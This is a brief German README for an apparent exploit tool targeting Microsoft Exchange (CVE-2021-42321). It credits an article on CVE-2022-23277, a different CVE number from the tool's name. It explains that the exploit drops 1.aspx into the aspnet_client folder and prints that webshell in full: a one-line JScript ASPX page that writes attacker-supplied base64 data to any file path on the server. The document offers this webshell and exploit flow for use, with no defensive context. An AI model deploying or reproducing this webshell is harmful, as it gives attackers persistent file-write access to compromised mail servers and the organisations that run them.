exch_CVE-2021-42321

Dieses Tool ist aus dem Artikel „DotNet安全-CVE-2022-23277漏洞复现“ des 7bits Security Teams

Der Authentifizierungsteil muss manuell über burpsuite hinzugefügt werden. Nach erfolgreicher Ausnutzung wird 1.aspx in aspnet_client geschrieben.

Webshell:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

Details zur Ausnutzung finden Sie in unserem Artikel.

Folgen Sie gerne unserem öffentlichen Konto - Zbits2022